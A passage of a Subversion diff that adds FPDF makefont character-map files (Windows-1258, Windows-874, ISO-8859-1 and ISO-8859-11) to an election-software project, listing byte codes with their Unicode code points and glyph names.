+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+20AC Euro
+!82 U+201A quotesinglbase
+!84 U+201E quotedblbase
+!85 U+2026 ellipsis
+!86 U+2020 dagger
+!87 U+2021 daggerdbl
+!89 U+2030 perthousand
+!8B U+2039 guilsinglleft
+!8D U+00A8 dieresis
+!8E U+02C7 caron
+!8F U+00B8 cedilla
+!91 U+2018 quoteleft
+!92 U+2019 quoteright
+!93 U+201C quotedblleft
+!94 U+201D quotedblright
+!95 U+2022 bullet
+!96 U+2013 endash
+!97 U+2014 emdash
+!99 U+2122 trademark
+!9B U+203A guilsinglright
+!9D U+00AF macron
+!9E U+02DB ogonek
+!A0 U+00A0 space
+!A2 U+00A2 cent
+!A3 U+00A3 sterling
+!A4 U+00A4 currency
+!A6 U+00A6 brokenbar
+!A7 U+00A7 section
+!A8 U+00D8 Oslash
+!A9 U+00A9 copyright
+!AA U+0156 Rcommaaccent
+!AB U+00AB guillemotleft
+!AC U+00AC logicalnot
+!AD U+00AD hyphen
+!AE U+00AE registered
+!AF U+00C6 AE
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+00B2 twosuperior
+!B3 U+00B3 threesuperior
+!B4 U+00B4 acute
+!B5 U+00B5 mu
+!B6 U+00B6 paragraph
+!B7 U+00B7 periodcentered
+!B8 U+00F8 oslash
+!B9 U+00B9 onesuperior
+!BA U+0157 rcommaaccent
+!BB U+00BB guillemotright
+!BC U+00BC onequarter
+!BD U+00BD onehalf
+!BE U+00BE threequarters
+!BF U+00E6 ae
+!C0 U+0104 Aogonek
+!C1 U+012E Iogonek
+!C2 U+0100 Amacron
+!C3 U+0106 Cacute
+!C4 U+00C4 Adieresis
+!C5 U+00C5 Aring
+!C6 U+0118 Eogonek
+!C7 U+0112 Emacron
+!C8 U+010C Ccaron
+!C9 U+00C9 Eacute
+!CA U+0179 Zacute
+!CB U+0116 Edotaccent
+!CC U+0122 Gcommaaccent
+!CD U+0136 Kcommaaccent
+!CE U+012A Imacron
+!CF U+013B Lcommaaccent
+!D0 U+0160 Scaron
+!D1 U+0143 Nacute
+!D2 U+0145 Ncommaaccent
+!D3 U+00D3 Oacute
+!D4 U+014C Omacron
+!D5 U+00D5 Otilde
+!D6 U+00D6 Odieresis
+!D7 U+00D7 multiply
+!D8 U+0172 Uogonek
+!D9 U+0141 Lslash
+!DA U+015A Sacute
+!DB U+016A Umacron
+!DC U+00DC Udieresis
+!DD U+017B Zdotaccent
+!DE U+017D Zcaron
+!DF U+00DF germandbls
+!E0 U+0105 aogonek
+!E1 U+012F iogonek
+!E2 U+0101 amacron
+!E3 U+0107 cacute
+!E4 U+00E4 adieresis
+!E5 U+00E5 aring
+!E6 U+0119 eogonek
+!E7 U+0113 emacron
+!E8 U+010D ccaron
+!E9 U+00E9 eacute
+!EA U+017A zacute
+!EB U+0117 edotaccent
+!EC U+0123 gcommaaccent
+!ED U+0137 kcommaaccent
+!EE U+012B imacron
+!EF U+013C lcommaaccent
+!F0 U+0161 scaron
+!F1 U+0144 nacute
+!F2 U+0146 ncommaaccent
+!F3 U+00F3 oacute
+!F4 U+014D omacron
+!F5 U+00F5 otilde
+!F6 U+00F6 odieresis
+!F7 U+00F7 divide
+!F8 U+0173 uogonek
+!F9 U+0142 lslash
+!FA U+015B sacute
+!FB U+016B umacron
+!FC U+00FC udieresis
+!FD U+017C zdotaccent
+!FE U+017E zcaron
+!FF U+02D9 dotaccent
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1258.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1258.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1258.map	(revision 44)
@@ -0,0 +1,247 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+20AC Euro
+!82 U+201A quotesinglbase
+!83 U+0192 florin
+!84 U+201E quotedblbase
+!85 U+2026 ellipsis
+!86 U+2020 dagger
+!87 U+2021 daggerdbl
+!88 U+02C6 circumflex
+!89 U+2030 perthousand
+!8B U+2039 guilsinglleft
+!8C U+0152 OE
+!91 U+2018 quoteleft
+!92 U+2019 quoteright
+!93 U+201C quotedblleft
+!94 U+201D quotedblright
+!95 U+2022 bullet
+!96 U+2013 endash
+!97 U+2014 emdash
+!98 U+02DC tilde
+!99 U+2122 trademark
+!9B U+203A guilsinglright
+!9C U+0153 oe
+!9F U+0178 Ydieresis
+!A0 U+00A0 space
+!A1 U+00A1 exclamdown
+!A2 U+00A2 cent
+!A3 U+00A3 sterling
+!A4 U+00A4 currency
+!A5 U+00A5 yen
+!A6 U+00A6 brokenbar
+!A7 U+00A7 section
+!A8 U+00A8 dieresis
+!A9 U+00A9 copyright
+!AA U+00AA ordfeminine
+!AB U+00AB guillemotleft
+!AC U+00AC logicalnot
+!AD U+00AD hyphen
+!AE U+00AE registered
+!AF U+00AF macron
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+00B2 twosuperior
+!B3 U+00B3 threesuperior
+!B4 U+00B4 acute
+!B5 U+00B5 mu
+!B6 U+00B6 paragraph
+!B7 U+00B7 periodcentered
+!B8 U+00B8 cedilla
+!B9 U+00B9 onesuperior
+!BA U+00BA ordmasculine
+!BB U+00BB guillemotright
+!BC U+00BC onequarter
+!BD U+00BD onehalf
+!BE U+00BE threequarters
+!BF U+00BF questiondown
+!C0 U+00C0 Agrave
+!C1 U+00C1 Aacute
+!C2 U+00C2 Acircumflex
+!C3 U+0102 Abreve
+!C4 U+00C4 Adieresis
+!C5 U+00C5 Aring
+!C6 U+00C6 AE
+!C7 U+00C7 Ccedilla
+!C8 U+00C8 Egrave
+!C9 U+00C9 Eacute
+!CA U+00CA Ecircumflex
+!CB U+00CB Edieresis
+!CC U+0300 gravecomb
+!CD U+00CD Iacute
+!CE U+00CE Icircumflex
+!CF U+00CF Idieresis
+!D0 U+0110 Dcroat
+!D1 U+00D1 Ntilde
+!D2 U+0309 hookabovecomb
+!D3 U+00D3 Oacute
+!D4 U+00D4 Ocircumflex
+!D5 U+01A0 Ohorn
+!D6 U+00D6 Odieresis
+!D7 U+00D7 multiply
+!D8 U+00D8 Oslash
+!D9 U+00D9 Ugrave
+!DA U+00DA Uacute
+!DB U+00DB Ucircumflex
+!DC U+00DC Udieresis
+!DD U+01AF Uhorn
+!DE U+0303 tildecomb
+!DF U+00DF germandbls
+!E0 U+00E0 agrave
+!E1 U+00E1 aacute
+!E2 U+00E2 acircumflex
+!E3 U+0103 abreve
+!E4 U+00E4 adieresis
+!E5 U+00E5 aring
+!E6 U+00E6 ae
+!E7 U+00E7 ccedilla
+!E8 U+00E8 egrave
+!E9 U+00E9 eacute
+!EA U+00EA ecircumflex
+!EB U+00EB edieresis
+!EC U+0301 acutecomb
+!ED U+00ED iacute
+!EE U+00EE icircumflex
+!EF U+00EF idieresis
+!F0 U+0111 dcroat
+!F1 U+00F1 ntilde
+!F2 U+0323 dotbelowcomb
+!F3 U+00F3 oacute
+!F4 U+00F4 ocircumflex
+!F5 U+01A1 ohorn
+!F6 U+00F6 odieresis
+!F7 U+00F7 divide
+!F8 U+00F8 oslash
+!F9 U+00F9 ugrave
+!FA U+00FA uacute
+!FB U+00FB ucircumflex
+!FC U+00FC udieresis
+!FD U+01B0 uhorn
+!FE U+20AB dong
+!FF U+00FF ydieresis
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp874.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp874.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp874.map	(revision 44)
@@ -0,0 +1,225 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+20AC Euro
+!85 U+2026 ellipsis
+!91 U+2018 quoteleft
+!92 U+2019 quoteright
+!93 U+201C quotedblleft
+!94 U+201D quotedblright
+!95 U+2022 bullet
+!96 U+2013 endash
+!97 U+2014 emdash
+!A0 U+00A0 space
+!A1 U+0E01 kokaithai
+!A2 U+0E02 khokhaithai
+!A3 U+0E03 khokhuatthai
+!A4 U+0E04 khokhwaithai
+!A5 U+0E05 khokhonthai
+!A6 U+0E06 khorakhangthai
+!A7 U+0E07 ngonguthai
+!A8 U+0E08 chochanthai
+!A9 U+0E09 chochingthai
+!AA U+0E0A chochangthai
+!AB U+0E0B sosothai
+!AC U+0E0C chochoethai
+!AD U+0E0D yoyingthai
+!AE U+0E0E dochadathai
+!AF U+0E0F topatakthai
+!B0 U+0E10 thothanthai
+!B1 U+0E11 thonangmonthothai
+!B2 U+0E12 thophuthaothai
+!B3 U+0E13 nonenthai
+!B4 U+0E14 dodekthai
+!B5 U+0E15 totaothai
+!B6 U+0E16 thothungthai
+!B7 U+0E17 thothahanthai
+!B8 U+0E18 thothongthai
+!B9 U+0E19 nonuthai
+!BA U+0E1A bobaimaithai
+!BB U+0E1B poplathai
+!BC U+0E1C phophungthai
+!BD U+0E1D fofathai
+!BE U+0E1E phophanthai
+!BF U+0E1F fofanthai
+!C0 U+0E20 phosamphaothai
+!C1 U+0E21 momathai
+!C2 U+0E22 yoyakthai
+!C3 U+0E23 roruathai
+!C4 U+0E24 ruthai
+!C5 U+0E25 lolingthai
+!C6 U+0E26 luthai
+!C7 U+0E27 wowaenthai
+!C8 U+0E28 sosalathai
+!C9 U+0E29 sorusithai
+!CA U+0E2A sosuathai
+!CB U+0E2B hohipthai
+!CC U+0E2C lochulathai
+!CD U+0E2D oangthai
+!CE U+0E2E honokhukthai
+!CF U+0E2F paiyannoithai
+!D0 U+0E30 saraathai
+!D1 U+0E31 maihanakatthai
+!D2 U+0E32 saraaathai
+!D3 U+0E33 saraamthai
+!D4 U+0E34 saraithai
+!D5 U+0E35 saraiithai
+!D6 U+0E36 sarauethai
+!D7 U+0E37 saraueethai
+!D8 U+0E38 sarauthai
+!D9 U+0E39 sarauuthai
+!DA U+0E3A phinthuthai
+!DF U+0E3F bahtthai
+!E0 U+0E40 saraethai
+!E1 U+0E41 saraaethai
+!E2 U+0E42 saraothai
+!E3 U+0E43 saraaimaimuanthai
+!E4 U+0E44 saraaimaimalaithai
+!E5 U+0E45 lakkhangyaothai
+!E6 U+0E46 maiyamokthai
+!E7 U+0E47 maitaikhuthai
+!E8 U+0E48 maiekthai
+!E9 U+0E49 maithothai
+!EA U+0E4A maitrithai
+!EB U+0E4B maichattawathai
+!EC U+0E4C thanthakhatthai
+!ED U+0E4D nikhahitthai
+!EE U+0E4E yamakkanthai
+!EF U+0E4F fongmanthai
+!F0 U+0E50 zerothai
+!F1 U+0E51 onethai
+!F2 U+0E52 twothai
+!F3 U+0E53 threethai
+!F4 U+0E54 fourthai
+!F5 U+0E55 fivethai
+!F6 U+0E56 sixthai
+!F7 U+0E57 seventhai
+!F8 U+0E58 eightthai
+!F9 U+0E59 ninethai
+!FA U+0E5A angkhankhuthai
+!FB U+0E5B khomutthai
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-1.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-1.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-1.map	(revision 44)
@@ -0,0 +1,256 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+0080 .notdef
+!81 U+0081 .notdef
+!82 U+0082 .notdef
+!83 U+0083 .notdef
+!84 U+0084 .notdef
+!85 U+0085 .notdef
+!86 U+0086 .notdef
+!87 U+0087 .notdef
+!88 U+0088 .notdef
+!89 U+0089 .notdef
+!8A U+008A .notdef
+!8B U+008B .notdef
+!8C U+008C .notdef
+!8D U+008D .notdef
+!8E U+008E .notdef
+!8F U+008F .notdef
+!90 U+0090 .notdef
+!91 U+0091 .notdef
+!92 U+0092 .notdef
+!93 U+0093 .notdef
+!94 U+0094 .notdef
+!95 U+0095 .notdef
+!96 U+0096 .notdef
+!97 U+0097 .notdef
+!98 U+0098 .notdef
+!99 U+0099 .notdef
+!9A U+009A .notdef
+!9B U+009B .notdef
+!9C U+009C .notdef
+!9D U+009D .notdef
+!9E U+009E .notdef
+!9F U+009F .notdef
+!A0 U+00A0 space
+!A1 U+00A1 exclamdown
+!A2 U+00A2 cent
+!A3 U+00A3 sterling
+!A4 U+00A4 currency
+!A5 U+00A5 yen
+!A6 U+00A6 brokenbar
+!A7 U+00A7 section
+!A8 U+00A8 dieresis
+!A9 U+00A9 copyright
+!AA U+00AA ordfeminine
+!AB U+00AB guillemotleft
+!AC U+00AC logicalnot
+!AD U+00AD hyphen
+!AE U+00AE registered
+!AF U+00AF macron
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+00B2 twosuperior
+!B3 U+00B3 threesuperior
+!B4 U+00B4 acute
+!B5 U+00B5 mu
+!B6 U+00B6 paragraph
+!B7 U+00B7 periodcentered
+!B8 U+00B8 cedilla
+!B9 U+00B9 onesuperior
+!BA U+00BA ordmasculine
+!BB U+00BB guillemotright
+!BC U+00BC onequarter
+!BD U+00BD onehalf
+!BE U+00BE threequarters
+!BF U+00BF questiondown
+!C0 U+00C0 Agrave
+!C1 U+00C1 Aacute
+!C2 U+00C2 Acircumflex
+!C3 U+00C3 Atilde
+!C4 U+00C4 Adieresis
+!C5 U+00C5 Aring
+!C6 U+00C6 AE
+!C7 U+00C7 Ccedilla
+!C8 U+00C8 Egrave
+!C9 U+00C9 Eacute
+!CA U+00CA Ecircumflex
+!CB U+00CB Edieresis
+!CC U+00CC Igrave
+!CD U+00CD Iacute
+!CE U+00CE Icircumflex
+!CF U+00CF Idieresis
+!D0 U+00D0 Eth
+!D1 U+00D1 Ntilde
+!D2 U+00D2 Ograve
+!D3 U+00D3 Oacute
+!D4 U+00D4 Ocircumflex
+!D5 U+00D5 Otilde
+!D6 U+00D6 Odieresis
+!D7 U+00D7 multiply
+!D8 U+00D8 Oslash
+!D9 U+00D9 Ugrave
+!DA U+00DA Uacute
+!DB U+00DB Ucircumflex
+!DC U+00DC Udieresis
+!DD U+00DD Yacute
+!DE U+00DE Thorn
+!DF U+00DF germandbls
+!E0 U+00E0 agrave
+!E1 U+00E1 aacute
+!E2 U+00E2 acircumflex
+!E3 U+00E3 atilde
+!E4 U+00E4 adieresis
+!E5 U+00E5 aring
+!E6 U+00E6 ae
+!E7 U+00E7 ccedilla
+!E8 U+00E8 egrave
+!E9 U+00E9 eacute
+!EA U+00EA ecircumflex
+!EB U+00EB edieresis
+!EC U+00EC igrave
+!ED U+00ED iacute
+!EE U+00EE icircumflex
+!EF U+00EF idieresis
+!F0 U+00F0 eth
+!F1 U+00F1 ntilde
+!F2 U+00F2 ograve
+!F3 U+00F3 oacute
+!F4 U+00F4 ocircumflex
+!F5 U+00F5 otilde
+!F6 U+00F6 odieresis
+!F7 U+00F7 divide
+!F8 U+00F8 oslash
+!F9 U+00F9 ugrave
+!FA U+00FA uacute
+!FB U+00FB ucircumflex
+!FC U+00FC udieresis
+!FD U+00FD yacute
+!FE U+00FE thorn
+!FF U+00FF ydieresis
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-11.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-11.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-11.map	(revision 44)
@@ -0,0 +1,248 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+0080 .notdef
+!81 U+0081 .notdef
+!82 U+0082 .notdef
+!83 U+0083 .notdef
+!84 U+0084 .notdef
+!85 U+0085 .notdef
+!86 U+0086 .notdef
+!87 U+0087 .notdef
+!88 U+0088 .notdef
+!89 U+0089 .notdef
+!8A U+008A .notdef
+!8B U+008B .notdef
+!8C U+008C .notdef
+!8D U+008D .notdef
+!8E U+008E .notdef
+!8F U+008F .notdef
+!90 U+0090 .notdef
+!91 U+0091 .notdef
+!92 U+0092 .notdef
+!93 U+0093 .notdef
+!94 U+0094 .notdef
+!95 U+0095 .notdef
+!96 U+0096 .notdef
+!97 U+0097 .notdef
+!98 U+0098 .notdef
+!99 U+0099 .notdef
+!9A U+009A .notdef
+!9B U+009B .notdef
+!9C U+009C .notdef
+!9D U+009D .notdef
+!9E U+009E .notdef
+!9F U+009F .notdef
+!A0 U+00A0 space
+!A1 U+0E01 kokaithai
+!A2 U+0E02 khokhaithai
+!A3 U+0E03 khokhuatthai
+!A4 U+0E04 khokhwaithai
+!A5 U+0E05 khokhonthai
+!A6 U+0E06 khorakhangthai
+!A7 U+0E07 ngonguthai
+!A8 U+0E08 chochanthai
+!A9 U+0E09 chochingthai
+!AA U+0E0A chochangthai
+!AB U+0E0B sosothai
+!AC U+0E0C chochoethai
+!AD U+0E0D yoyingthai
+!AE U+0E0E dochadathai
+!AF U+0E0F topatakthai
